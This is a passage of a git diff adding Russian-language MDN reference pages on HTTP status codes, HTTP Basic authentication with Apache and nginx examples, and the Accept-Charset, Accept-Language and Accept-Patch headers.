+ <p>"Перемещён на постоянной основе". Этот код ответа значит, что <span id="result_box" lang="ru"><span>URI </span><span>запрашиваемого</span> <span>ресурса</span> <span>был изменен</span><span>.</span> <span>Возможно,</span> <span>новый</span> <span>URI </span></span><span lang="ru"><span>будет </span></span>предоставлен <span lang="ru"><span>в ответе.</span></span></p>
+ </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="302">302</td>
+ <td>Found</td>
+ <td>
+ <p>"Найдено". Этот код ответа значит, что запрошенный ресурс <em>временно изменен</em>. <span id="result_box" lang="ru"><span>Новые</span> <span>изменения в</span> <span>URI</span> <span>могут быть</span></span> доступны в <span id="result_box" lang="ru"><span>будущем</span></span>. <span id="result_box" lang="ru"><span>Таким образом,</span> этот<span> </span><span>URI,</span> <span>должен</span> <span>быть использован</span> <span>клиентом</span> <span>в</span> <span>будущих запросах</span><span>.</span></span></p>
+ </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="303">303</td>
+ <td>See Other</td>
+ <td>"Просмотр других ресурсов". Этот код ответа присылается, чтобы направлять клиента для получения запрашиваемого ресурса в другой URI с запросом GET.</td>
+ <td>HTTP/0.9 and 1.1</td>
+ </tr>
+ <tr>
+ <td id="304">304</td>
+ <td>Not Modified</td>
+ <td>"Не модифицировано". Используется для кэширования. Это код ответа значит, что запрошенный ресурс не был изменен. Таким образом, клиент может продолжать использовать кэшированную версию ответа.</td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="305">305</td>
+ <td>Use Proxy</td>
+ <td>"Использовать прокси". Это означает, что запрошенный ресурс должен быть доступен через прокси. Этот код ответа в основном не поддерживается из соображений безопасности.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="306">306</td>
+ <td>Switch Proxy</td>
+ <td>Больше не использовать. Изначально подразумевалось, что " последующие запросы должны использовать указанный прокси."</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="307">307</td>
+ <td>Temporary Redirect</td>
+ <td>"Временное перенаправление". Сервер отправил этот ответ, чтобы клиент получил запрошенный ресурс на другой URL-адрес с тем же методом, который использовал предыдущий запрос. Данный код имеет ту же семантику, что код ответа <code>302 Found</code>, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если в первом запросе использовался <code>POST</code>, то во втором запросе также должен использоваться <code>POST</code>.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="308">308</td>
+ <td>Permanent Redirect</td>
+ <td>
+ <p>"Перенаправление на постоянной основе". Это означает, что ресурс теперь постоянно находится в другом URI, указанном в заголовке <code>Location:</code> HTTP Response. Данный код ответа имеет ту же семантику, что и код ответа <code>301 Moved Permanently</code>, за исключением того, что агент пользователя не должен изменять используемый метод HTTP: если <code>POST</code> использовался в первом запросе, <code>POST</code> должен использоваться и во втором запросе.</p>
+
+ <div class="note"><strong>Примечание:</strong> Это экспериментальный код ответа, Спецификация которого в настоящее время находится в черновом виде.</div>
+ </td>
+ <td><a class="external" href="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-07.html" title="http://greenbytes.de/tech/webdav/draft-reschke-http-status-308-07.html">draft-reschke-http-status-308</a></td>
+ </tr>
+ <tr>
+ <th colspan="4"><em>Клиентские</em></th>
+ </tr>
+ <tr>
+ <td id="400">400</td>
+ <td>Bad Request</td>
+ <td>"Плохой запрос". Этот ответ означает, что сервер не понимает запрос из-за неверного синтаксиса. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="401">401</td>
+ <td>Unauthorized</td>
+ <td>"Неавторизовано". Для получения запрашиваемого ответа нужна аутентификация. Статус похож на статус 403, но,в этом случае, аутентификация возможна. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="402">402</td>
+ <td>Payment Required</td>
+ <td>"Необходима оплата". Этот код ответа зарезервирован для будущего использования. Первоначальная цель для создания этого когда была в использовании его для цифровых платежных систем(на данный момент не используется).</td>
+ <td>HTTP/0.9 and 1.1</td>
+ </tr>
+ <tr>
+ <td id="403">403</td>
+ <td>Forbidden</td>
+ <td>"Запрещено". У клиента нет прав доступа к содержимому, поэтому сервер отказывается дать надлежащий ответ. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="404">404</td>
+ <td>Not Found</td>
+ <td>"Не найден". Сервер не может найти запрашиваемый ресурс. Код этого ответа, наверно, самый известный из-за частоты его появления в вебе. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="405">405</td>
+ <td>Method Not Allowed</td>
+ <td>"Метод не разрешен". Сервер знает о запрашиваемом методе, но он был деактивирован и не может быть использован. Два обязательных метода,  <code>GET</code> и <code>HEAD</code>,  никогда не должны быть деактивированы и не должны возвращать этот код ошибки.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="406">406</td>
+ <td>Not Acceptable</td>
+ <td>
+ <p>Этот ответ отсылается, когда веб сервер после выполнения <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, не нашел контента, отвечающего критериям, полученным из user agent.</p>
+ </td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="407">407</td>
+ <td>Proxy Authentication Required</td>
+ <td>Этот код ответа аналогичен коду 401, только аутентификация требуется для прокси сервера.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="408">408</td>
+ <td>Request Timeout</td>
+ <td>Ответ с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соеднинение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать <a class="external" href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/" title="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">HTTP механизмы предварительного соединения</a> для ускорения серфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="409">409</td>
+ <td>Conflict</td>
+ <td>
+ <p>Этот ответ отсылается, когда запрос конфликтует с текущим состоянием сервера.</p>
+ </td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="410">410</td>
+ <td>Gone</td>
+ <td>
+ <p>Этот ответ отсылается, когда запрашиваемый контент удален с сервера.</p>
+ </td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="411">411</td>
+ <td>Length Required</td>
+ <td>
+ <p>Запрос отклонен, потому что сервер требует указание заголовка <code>Content-Length</code>, но он не указан.</p>
+ </td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="412">412</td>
+ <td>Precondition Failed</td>
+ <td>Клиент указал в своих заголовках условия, которые сервер не может выполнить</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="413">413</td>
+ <td>Request Entity Too Large</td>
+ <td>
+ <p>Размер запроса превышает лимит, объявленный сервером. Сервер может закрыть соединение, вернув заголовок <code>Retry-After</code></p>
+ </td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="414">414</td>
+ <td>Request-URI Too Long</td>
+ <td>URI запрашиваемый клиентом слишком длинный для того, чтобы сервер смог его обработать</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="415">415</td>
+ <td>Unsupported Media Type</td>
+ <td>Медиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклонен</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="416">416</td>
+ <td>Requested Range Not Satisfiable</td>
+ <td>Диапозон указанный заголовком запроса <code>Range</code> не может быть выполнен; возможно, он выходит за пределы переданного URI</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="417">417</td>
+ <td>Expectation Failed</td>
+ <td>Этот код ответа означает, что ожидание, полученное из заголовка запроса <code>Expect</code>, не может быть выполнено сервером.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <th colspan="4"><em>Серверные</em></th>
+ </tr>
+ <tr>
+ <td id="500">500</td>
+ <td>Internal Server Error</td>
+ <td>"Внутренняя ошибка сервера". Сервер столкнулся с ситуацией, которую он не знает как обработать. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="501">501</td>
+ <td>Not Implemented</td>
+ <td>"Не выполнено". Метод запроса не поддерживается сервером и не может быть обработан. Единственные методы, которые сервера должны поддерживать (и, соответственно, не должны возвращать этот код) -  <code>GET</code> и <code>HEAD</code>.</td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="502">502</td>
+ <td>Bad Gateway</td>
+ <td>"Плохой шлюз". Эта ошибка означает что сервер, во время работы в качестве шлюза для получения ответа, нужного для обработки запроса, получил недействительный (недопустимый) ответ. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="503">503</td>
+ <td>Service Unavailable</td>
+ <td>"Сервис недоступен". Сервер не готов обрабатывать запрос. Зачастую причинами являются отключение сервера или то, что он перегружен. Обратите внимание, что вместе с этим ответом удобная для пользователей(user-friendly) страница должна отправлять объяснение проблемы.  Этот ответ должен использоваться для временных условий и <code>Retry-After:</code> HTTP-заголовок должен, если возможно, содержать  предполагаемое время до восстановления сервиса. Веб-мастер также должен позаботиться о заголовках, связанных с кэшем, которые отправляются вместе с этим ответом, так как эти ответы, связанные с временными условиями, обычно не должны кэшироваться. </td>
+ <td>HTTP/0.9 and later</td>
+ </tr>
+ <tr>
+ <td id="504">504</td>
+ <td>Gateway Timeout</td>
+ <td>Этот ответ об ошибке предоставляется, когда сервер действует как шлюз и не может получить ответ вовремя.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ <tr>
+ <td id="505">505</td>
+ <td>HTTP Version Not Supported</td>
+ <td>"HTTP-версия не поддерживается". HTTP-версия, используемая в запроcе, не поддерживается сервером.</td>
+ <td>HTTP/1.1 only</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{ languages( { "zh-cn": "zh-cn/HTTP/HTTP_response_codes", "ja": "ja/HTTP/HTTP_response_codes"} ) }}</p>
diff --git a/files/ru/web/http/авторизация/index.html b/files/ru/web/http/авторизация/index.html
new file mode 100644
index 0000000000..99228e7633
--- /dev/null
+++ b/files/ru/web/http/авторизация/index.html
@@ -0,0 +1,123 @@
+---
+title: HTTP авторизация
+slug: Web/HTTP/Авторизация
+tags:
+ - Авторизация
+ - Разграничение доступа
+ - Руководство
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.</p>
+
+<h2 id="Общий_механизм_HTTP_авторизации">Общий механизм HTTP авторизации</h2>
+
+<p>{{RFC("7235")}} определяет средства HTTP авторизации, которые может использовать сервер для {{glossary("запроса")}} у клиента аутентификационной информации. Сценарий запрос-ответ подразумевает, что вначале сервер отвечает клиенту со статусом {{HTTPStatus("401")}} (Unauthorized) и предоставляет информацию о порядке авторизации через заголовок {{HTTPHeader("WWW-Authenticate")}}, содержащий хотя бы один метод авторизации. Клиент, который хочет авторизоваться, может сделать это, включив в следующий запрос заголовок {{HTTPHeader("Authorization")}} с требуемыми данными. Обычно, клиент отображает запрос пароля пользователю, и после получения ответа отправляет запрос с пользовательскими данными в заголовке <code>Authorization</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>В случае базовой авторизации как на иллюстрации выше, обмен <strong>должен</strong> вестись через HTTPS (TLS) соединение, чтобы обеспечить защищённость.</p>
+
+<h3 id="Прокси-авторизация">Прокси-авторизация</h3>
+
+<p>Этот же механизм запроса и ответа может быть использован для <em>прокси-авторизации</em>. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с <em>прокси</em>, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.</p>
+
+<h3 id="Доступ_запрещен">Доступ запрещен</h3>
+
+<p>Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p>
+
+<h3 id="Аутентификация_с_помощью_изображений">Аутентификация с помощью изображений</h3>
+
+<p>Аутентификация с помощью изображений, загружаемых из разных источников, была до недавнего времени потенциальной дырой в безопасности. Начиная с <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a>, изображения, загружаемые из разных источников в текущий документ, больше не запускают диалог HTTP-аутентификации, предотвращая тем самым кражу пользовательских данных (если нарушители смогли встроить это изображение в страницу).</p>
+
+<h3 id="Кодировка_символов_HTTP_аутентификации">Кодировка символов HTTP аутентификации</h3>
+
+<p>Браузеры используют кодировку <code>utf-8</code> для имени пользователя и пароля. Firefox использовал <code>ISO-8859-1</code>, но она была заменена <code>utf-8</code> с целью уравнения с другими браузерами, а также чтобы избежать потенциальных проблем (таких как {{bug(1419658)}}).</p>
+
+<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers"><code>WWW-Authenticate</code> and <code>Proxy-Authenticate</code> headers</h3>
+
+<p>{{HTTPHeader("WWW-Authenticate")}} и {{HTTPHeader("Proxy-Authenticate")}} заголовки ответа которые определяют методы, что следует использовать для получения доступа к ресурсу. Они должны указывать, какую схему аутентификации использовать, чтобы клиент, желающий авторизоваться, знал, какие данные предоставить. Синтаксис для этих заголовков следующий:</p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>Here, <code>&lt;type&gt;</code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p>
+
+<h3 id="Authorization_and_Proxy-Authorization_headers"><code>Authorization</code> and <code>Proxy-Authorization</code> headers</h3>
+
+<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Authentication_schemes">Authentication schemes</h3>
+
+<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p>
+
+<p>The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p>
+
+<ul>
+ <li><strong>Basic</strong> (see {{rfc(7617)}}, base64-encoded credentials. See below for more information.),</li>
+ <li><strong>Bearer</strong> (see {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources),</li>
+ <li><strong>Digest</strong> (see {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support),</li>
+ <li><strong>HOBA</strong> (see {{rfc(7486)}} (draft), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li>
+ <li><strong>Mutual</strong> (see <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+ <p><strong>AWS4-HMAC-SHA256</strong> (see <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2>
+
+<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p>
+
+<h3 id="Security_of_basic_authentication">Security of basic authentication</h3>
+
+<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p>
+
+<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3>
+
+<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p>
+
+<p>The <code>.htaccess</code> file typically looks like this:</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encrypted</a> (md5 in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3>
+
+<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.</p>
+
+<pre>location /status {
+ auth_basic "Access to the staging site";
+ auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3>
+
+<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p>
+
+<pre class="example-bad">https://username:password@www.example.com/</pre>
+
+<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7"> stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you.".</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-charset/index.html b/files/ru/web/http/заголовки/accept-charset/index.html
new file mode 100644
index 0000000000..97fb4f65e4
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-charset/index.html
@@ -0,0 +1,83 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Заголовки/Accept-Charset
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Accept-Charset</code></strong> запроса HTTP сообщает какую кодировку клиент может понять. Используя <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно коректный  и передача его позволит с большей легкостью получить цифровой отпечаток.</p>
+
+<p>Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка <code>Accept-Charset</code>.</p>
+
+<div class="note">
+<p>В более ранних версиях HTTP/1.1, кодировка  по умолчанию (<code>ISO-8859-1</code>) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>Да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Accept-Charset: &lt;кодировка&gt;
+
+// Множественные типы, придающие вес с {{glossary("quality values", "quality value")}} синтаксисом:
+Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd>Кодировка типа <code>utf-8</code> или <code>iso-8859-15.</code></dd>
+ <dt><code>*</code></dt>
+ <dd>Любая кодировка не указанная нигде в заголовке; <code>'*'</code> используется как групповой символ.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое значение помещается в порядке предпочтения, выраженного с использованием относительного значения качества, называемого <em>весом</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<p>Смотрите так же</p>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}}</li>
+ <li>Other similar headers: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-language/index.html b/files/ru/web/http/заголовки/accept-language/index.html
new file mode 100644
index 0000000000..2e1cf9ae57
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-language/index.html
@@ -0,0 +1,94 @@
+---
+title: Accept-Language
+slug: Web/HTTP/Заголовки/Accept-Language
+translation_of: Web/HTTP/Headers/Accept-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>{{Glossary("HTTP-заголовок")}} Запрос <strong><code>Accept-Language</code></strong> сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательсокого интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка <strong><code>Accept-Language</code></strong>, это происходит редко (и не одобряется, так как ведет.к идентификации).</div>
+
+<div></div>
+
+<p>Данный заголовок является подсказкой для сервера, когда он не имеет другого способа определить язык, (например, явно указанный язык в URL'е, который пользователь явно выбрал). Рекомендуется никогда не переопределять на стороне сервера явный выбор пользователем языка. Содержимое заголовка <code>Accept-Language</code> часто не может быть переопределено пользователем (например, в путешествии, когда пользователь пользуется услугами интернет-кафе); также пользователь может захотеть посмотреть содержимое сайта на языке отличном от языка интерфейса.</p>
+
+<p>Если сервер не может предоставить содержимое ни на одном языке из предложенных в заголовке <code>Accept-Language</code>, теоретически он может вернуть HTTP-статус {{HTTPStatus("406")}} (Not Acceptable). Однако, для большего удобства пользователя, это делается редко, а чаще принято в таких случаях игнорировать заголовок  <code>Accept-Language</code>.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept-Language: &lt;language&gt;
+Accept-Language: &lt;locale&gt;
+Accept-Language: *
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;language&gt;</code></dt>
+ <dd>Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделенные <code>'-'</code>. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, <code>'en-US'</code> или <code>'fr-CA'</code>) или тип алфавита, который следует использовать (например, <code>'sr-Latn'</code>). Другие варианты, такие как тип орфографии (<code>'de-DE-1996'</code>) обычно не используются в контексте данного заголовка.</dd>
+ <dt><code>*</code></dt>
+ <dd>Любой язык; <code>'*'</code> обозначает любое значение.</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют <em>весами</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Accept-Language: *
+
+Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+
+Accept-Language: ru-RU, ru;q=0.9, en-US;q=0.8, en;q=0.7, fr;q=0.6</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Language")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Language")}}</li>
+ <li>Other similar headers: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-patch/index.html b/files/ru/web/http/заголовки/accept-patch/index.html
new file mode 100644
index 0000000000..2dfa99d0ac
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-patch/index.html
@@ -0,0 +1,83 @@
+---
+title: Accept-Patch
+slug: Web/HTTP/Заголовки/Accept-Patch
+translation_of: Web/HTTP/Headers/Accept-Patch
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP-заголовок запроса <strong><code>Accept-Patch</code></strong> показывает, какой медиа-тип понимает сервер внутри запроса <code>PATCH</code>.</p>
+
+<p>Наличие <strong><code>Accept-Patch</code></strong> в ответе к любому методу означает, что сервер принимает <code>PATCH</code>-запросы. Как правило, из этого вытекает следующее:</p>
+
+<p>Сервер, принимающий <code>PATCH</code>-запрос с неподдерживаемым медиа-типом может ответить кодом ошибки {{HTTPStatus("415")}} <code>Unsupported Media Type</code> и заголовком <strong><code>Accept-Patch</code></strong>, в котором перечислены поддерживаемые медиа-типы.</p>
+
+<div class="note"><strong>Примечания:</strong>
+
+<ul>
+ <li>
